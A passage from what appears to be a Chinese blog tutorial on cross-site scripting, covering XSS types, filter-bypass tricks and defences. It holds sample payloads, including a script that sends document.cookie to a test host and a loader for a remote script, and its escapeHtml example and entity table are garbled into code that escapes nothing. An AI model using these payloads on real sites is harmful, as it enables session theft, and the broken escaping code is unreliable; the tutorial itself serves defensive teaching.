摘要:系列文章前端安全系列篇前端安全系列篇攻擊全稱跨站腳本攻擊,為不和層疊樣式表的縮寫混淆,故將跨站腳本攻擊縮寫為,是一種在應(yīng)用中的計(jì)算機(jī)安全漏洞,它允許惡意用戶將代碼植入到提供給其它用戶使用的頁面中。
系列文章:
前端安全系列:XSS篇
前端安全系列:CSRF篇
全稱跨站腳本攻擊,為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應(yīng)用中的計(jì)算機(jī)安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
XSS攻擊的危害盜取各類用戶帳號(hào),如機(jī)器登錄帳號(hào)、用戶網(wǎng)銀帳號(hào)、各類管理員帳號(hào)
控制企業(yè)數(shù)據(jù),包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力
盜竊企業(yè)重要的具有商業(yè)價(jià)值的資料
非法轉(zhuǎn)賬
強(qiáng)制發(fā)送電子郵件
網(wǎng)站掛馬
控制受害者機(jī)器向其它網(wǎng)站發(fā)起攻擊
XSS漏洞的分類 本地利用漏洞這種漏洞存在于瀏覽器頁面中,屬于前端自身問題基于DOM文檔對(duì)象模型的一種漏洞,大概步驟:
A給B發(fā)送一個(gè)惡意構(gòu)造的URL
B打開惡意URL
B的瀏覽器頁面中包含惡意代碼
A的惡意代碼可以擁有B的持有權(quán)限,進(jìn)而獲取B的數(shù)據(jù)或者冒充B的行為
通過修改瀏覽器頁面中的DOM(DocumentObjectModel)時(shí),就有可能產(chǎn)生這種漏洞
反射式漏洞服務(wù)端沒有對(duì)數(shù)據(jù)進(jìn)行過濾、驗(yàn)證或者編碼等處理直接返回前端可能引起的漏洞
A給B發(fā)送一個(gè)惡意構(gòu)造的URL
B打開目標(biāo)網(wǎng)站,瀏覽器將包含惡意代碼的數(shù)據(jù)通過請(qǐng)求傳遞給服務(wù)端,其不加處理直接返回給瀏覽器
B的瀏覽器接收到響應(yīng)后解析并執(zhí)行的代碼中包含惡意代碼
A的惡意代碼可以擁有B的持有權(quán)限,進(jìn)而獲取B的數(shù)據(jù)或者冒充B的行為
常見于網(wǎng)站搜索欄,登錄注冊(cè)等地方竊取用戶cookies或者進(jìn)行釣魚欺騙.因?yàn)槠渲猩婕暗椒?wù)端的參與,想要避免需要后端協(xié)調(diào).
存儲(chǔ)式漏洞類似反射式但是會(huì)把未經(jīng)處理的數(shù)據(jù)儲(chǔ)存在數(shù)據(jù)庫(kù)中
A將惡意代碼提交到目標(biāo)網(wǎng)站的數(shù)據(jù)庫(kù)中
B打開目標(biāo)網(wǎng)站,服務(wù)端將惡意代碼從數(shù)據(jù)庫(kù)取出拼接在HTML中返回給瀏覽器
B的瀏覽器接收到響應(yīng)后解析并執(zhí)行的代碼中包含惡意代碼
A的惡意代碼可以擁有B的持有權(quán)限,進(jìn)而獲取B的數(shù)據(jù)或者冒充B的行為
這是屬于持久性攻擊,涉及范圍可能包括所有的訪問用戶,一般常用網(wǎng)站留言,評(píng)論,博客日志等.
大致對(duì)比類型 | 本地利用 | 反射式 | 存儲(chǔ)式 |
---|---|---|---|
觸發(fā) | 用戶打開惡意構(gòu)造的URL | 用戶打開惡意構(gòu)造的URL | 1, 用戶打開惡意構(gòu)造的URL 2, 攻擊者構(gòu)造腳本 |
儲(chǔ)存 | URL | URL | 數(shù)據(jù)庫(kù) |
輸出 | 前端 | 后端 | 后端 |
方式 | DOM | HTTP響應(yīng) | HTTP響應(yīng) |
demo input:
output:
完整源碼可以查看demo1
某天,讓A知道之后他輸入這么一段代碼,然后提交之后發(fā)現(xiàn)
類似的用戶輸入內(nèi)容都可能被攻擊者利用拼接特殊格式的字符串形成惡意代碼,通過注入腳本引發(fā)潛在風(fēng)險(xiǎn),瀏覽器不會(huì)區(qū)分善惡,只是按照代碼解析,于是B想了一個(gè)辦法告訴瀏覽器這段內(nèi)容不該解析,所以改了一下,簡(jiǎn)單轉(zhuǎn)義輸入內(nèi)容
function escapeHtml(text) { return text.replace(/[<>"&]/g, function(match, pos, originalText) { switch (match) { case "<": return "<"; case ">": return ">"; case "&": return "&"; case """: return """; } }); } function unescapeHtml(str) { return text.replace(/[<>"&]/g, function(match, pos, originalText) { switch (match) { case "<": return "<"; case ">": return ">"; case "&": return "&"; case """: return """; } }); } $submit.click(function() { var val = escapeHtml($input.val()); $output.val(val).html(val); });
完整源碼可以查看demo2
現(xiàn)在瀏覽器就不會(huì)再執(zhí)行里面的代碼了,實(shí)際業(yè)務(wù)中應(yīng)該轉(zhuǎn)義的內(nèi)容不止這么簡(jiǎn)單
demo output: jump
完整源碼可以查看demo3
A發(fā)現(xiàn)一個(gè)漏洞,然后發(fā)了這個(gè)網(wǎng)址給其他人打開
https://www.test.com/?redirect_to=javascript:alert("XSS")
當(dāng)他們點(diǎn)擊跳轉(zhuǎn)的時(shí)候就會(huì)觸發(fā)A故意形成的惡意代碼
像這種情況B第一想法是檢驗(yàn)是否網(wǎng)址格式再渲染界面,所以他這么寫
function testUrl(str) { var Expression = "^((https|http|ftp|rtsp|mms)?://)?" + "(([0-9a-z_!~*().&=+$%-]+: )?[0-9a-z_!~*().&=+$%-]+@)?" + //ftp的user@ "(([0-9]{1,3}.){3}[0-9]{1,3}|" + // IP形式的URL- 199.194.52.184 "([0-9a-z_!~*()-]+.)*" + // 域名- www. "[a-z]{2,6})" + //域名的擴(kuò)展名 "(:[0-9]{1,4})?" + // 端口- :80 "((/?)|(/[0-9a-z_!~*().;?:@&=+$,%#-]+)+/?)$"; var objExp = new RegExp(Expression); if (objExp.test(str) != true) { return false; } else { return true; } } var val = getQueryString("redirect_to"); $output.val(val); testUrl(val) && $jump.attr("href", val);
完整源碼可以查看demo4
因?yàn)楦晃谋居袉栴},只能截圖.
但是不是每個(gè)a標(biāo)簽都是用于跳轉(zhuǎn)頁面的,例如通過Scheme協(xié)議打開APP界面
這樣子你就把其他非屬性跳轉(zhuǎn)的用法都干掉了,所以B想了想不妥,還是換一種方式禁止,直接判斷執(zhí)行前綴
var val = getQueryString("redirect_to"); var reg = /javascript:/gi; $output.val(val); !reg.test(val) && $jump.attr("href", val);
完整源碼可以查看demo5
因?yàn)闉g覽器不區(qū)分大小寫,所以需要注意一下.更新版本之后B以為已經(jīng)堵死這條路了,殊不知A換個(gè)方式改成編碼或者回車空格等
https://www.test.com/?redirect_to=jav ascript:alert("XSS"); https://www.test.com/?redirect_to=javascrip?74:alert("XSS");
這就尷尬了,雖然瀏覽器并不會(huì)執(zhí)行,但是這些也能完全避開B的攔截規(guī)則,也可能會(huì)引起其他隱患
還有種內(nèi)聯(lián)數(shù)據(jù)用法,將序列化的數(shù)據(jù)通過URL傳遞給其他頁面使用demo output:
完整源碼可以查看demo6
A可以直接修改URL參數(shù)注入代碼
https://www.test.com/?data={"data":""}A通過惡意腳本在頁面插入圖片自動(dòng)發(fā)起惡意請(qǐng)求
var img = document.createElement("img"); img.src = "http://www.test.com/cheat.html?url=" + escape(window.location.href) + "&content=" + escape(document.cookie); img.style = "display:none"; document.body.appendChild(img);
完整源碼可以查看demo7
B讓服務(wù)端采用了比較簡(jiǎn)單的辦法使用httponly禁止JS腳本訪問cookies信息讓A無法拿到
var img = document.createElement("img"); img.src = "#"; img.onerror = document.body.appendChild(document.createElement("script")).src = "http://www.test.com/cheat.js"; img.style = "display:none"; document.body.appendChild(img);
完整源碼可以查看demo8
當(dāng)瀏覽器向web服務(wù)器發(fā)送請(qǐng)求的時(shí)候,一般會(huì)帶上Referer,告訴服務(wù)器我是從哪個(gè)頁面鏈接過來的,服務(wù)器基此可以獲得一些信息用于處理。可以讓服務(wù)端限制必須是白名單才能通過請(qǐng)求達(dá)到防盜鏈功能,但是丟失Refere情況比較多,而且容易被惡意修改,所以大多只適用于資源被惡意引用的情況
當(dāng)瀏覽器進(jìn)行繪制時(shí),解碼順序分別為 HTML > URL > JS,所以A構(gòu)造了這么一段代碼
")">jump
首先是 HTML 解碼,結(jié)果為
")">jump
然后是 URL 解碼,結(jié)果為
")">jump
最后是 JS 解碼,結(jié)果為
")">jump
所以可以攻擊的方式很多種,相比于針對(duì)處理我們應(yīng)該先了解相關(guān)的攻擊方式
XSS攻擊方式所有用戶輸入內(nèi)容都有潛在的風(fēng)險(xiǎn)
利用script標(biāo)簽注入HTML/Javascript代碼
利用擁有href和src等屬性的標(biāo)簽
利用空格、回車和Tab等拼接方式繞開攔截
利用字符編碼繞開攔截(JS支持unicode、eacapes、十六進(jìn)制、十進(jìn)制等編碼形式)
利用onload,onscroll等事件執(zhí)行惡意代碼
利用樣式屬性backgrund-image等執(zhí)行(聽說主流瀏覽器已處理)
URL參數(shù)
Cookies
請(qǐng)求header的referer
惡意代碼拆分組裝
各種API
// URL相關(guān) document.location document.URL document.URLUnencoded document.referrer window.location // 操作dom document.write() document.writeln() document.boby.innerHtml // 特殊函數(shù) eval() window.execScript() window.setInterval() window.setTimeout() // 重定向 document.location document.URL document.open() window.location.href window.navigate() window.open
總的來說分兩種類型:
攻擊者手動(dòng)提交惡意代碼
瀏覽器自動(dòng)執(zhí)行惡意代碼
防御 針對(duì)上面的案例如果B選擇前端進(jìn)行內(nèi)容轉(zhuǎn)義,會(huì)引起什么問題呢?如果攻擊者不直接經(jīng)過前端界面,而是直接自己構(gòu)造請(qǐng)求就可以破解了
但是B是在發(fā)送請(qǐng)求之前轉(zhuǎn)義又會(huì)有什么問題?如果是需要用于界面展示的話,引用到字段的地方都需要處理,大部分模板都會(huì)自動(dòng)轉(zhuǎn)義處理,但是如果用在JS不能直接使用或者計(jì)算,例如長(zhǎng)度判斷等
需要根據(jù)上下文采用不同的轉(zhuǎn)義規(guī)則增大處理難度,如 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等,所以這更適用于固定類型的內(nèi)容,例如URL,號(hào)碼等
前端基本的XSS攔截處理有哪些?用戶提交數(shù)據(jù)進(jìn)行驗(yàn)證,只接受限定長(zhǎng)度/內(nèi)容
表單數(shù)據(jù)指定具體類型
過濾移除特殊的html標(biāo)簽,script和iframe等
過濾移除特殊的Javascript代碼,javascript:和事件等
符號(hào) | 實(shí)體編號(hào) |
---|---|
< | < |
> | > |
& | & |
" | " |
" | ' |
空格 |
將重要的Cookie標(biāo)記為HTTP Only,不能通過客戶端腳本讀取和修改
設(shè)置referer防止惡意請(qǐng)求
實(shí)現(xiàn)Session標(biāo)記(session tokens)、CAPTCHA系統(tǒng)或者HTTP引用頭檢查,以防功能被第三方網(wǎng)站所執(zhí)行
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://specialneedsforspecialkids.com/yun/106426.html
摘要:系列文章前端安全系列篇前端安全系列篇介紹跨站請(qǐng)求偽造,也被稱為或者,通常縮寫為或者,是一種對(duì)網(wǎng)站的惡意利用。 系列文章: 前端安全系列:XSS篇前端安全系列:CSRF篇 CSRF介紹 CSRF(Cross-site request forgery)跨站請(qǐng)求偽造,也被稱為One Click Attack或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對(duì)網(wǎng)站的惡意利...
摘要:禁止內(nèi)聯(lián)腳本執(zhí)行規(guī)則較嚴(yán)格,目前發(fā)現(xiàn)使用。典型的攻擊流程受害者登錄站點(diǎn),并保留了登錄憑證。站點(diǎn)接收到請(qǐng)求后,對(duì)請(qǐng)求進(jìn)行驗(yàn)證,并確認(rèn)是受害者的憑證,誤以為是無辜的受害者發(fā)送的請(qǐng)求。攻擊完成,攻擊者在受害者不知情的情況下,冒充受害者完成了攻擊。 隨著互聯(lián)網(wǎng)的發(fā)展,各種Web應(yīng)用變得越來越復(fù)雜,滿足了用戶的各種需求的同時(shí),各種網(wǎng)絡(luò)安全問題也接踵而至。作為前端工程師的我們也逃不開這個(gè)問題,今天一起...
摘要:禁止內(nèi)聯(lián)腳本執(zhí)行規(guī)則較嚴(yán)格,目前發(fā)現(xiàn)使用。典型的攻擊流程受害者登錄站點(diǎn),并保留了登錄憑證。站點(diǎn)接收到請(qǐng)求后,對(duì)請(qǐng)求進(jìn)行驗(yàn)證,并確認(rèn)是受害者的憑證,誤以為是無辜的受害者發(fā)送的請(qǐng)求。攻擊完成,攻擊者在受害者不知情的情況下,冒充受害者完成了攻擊。 隨著互聯(lián)網(wǎng)的發(fā)展,各種Web應(yīng)用變得越來越復(fù)雜,滿足了用戶的各種需求的同時(shí),各種網(wǎng)絡(luò)安全問題也接踵而至。作為前端工程師的我們也逃不開這個(gè)問題,今天...
摘要:的網(wǎng)站仍然使用有漏洞庫(kù)上周發(fā)布了開源社區(qū)安全現(xiàn)狀報(bào)告,發(fā)現(xiàn)隨著開源社區(qū)的日漸活躍,開源代碼中包含的安全漏洞以及影響的范圍也在不斷擴(kuò)大。與應(yīng)用安全是流行的服務(wù)端框架,本文即是介紹如何使用以及其他的框架來增強(qiáng)應(yīng)用的安全性。 showImg(https://segmentfault.com/img/remote/1460000012181337?w=1240&h=826); 前端每周清單專注...
閱讀 3974·2021-11-18 13:21
閱讀 4775·2021-09-27 14:01
閱讀 3115·2019-08-30 15:53
閱讀 2392·2019-08-30 15:43
閱讀 1735·2019-08-30 13:10
閱讀 1516·2019-08-29 18:39
閱讀 893·2019-08-29 15:05
閱讀 3346·2019-08-29 14:14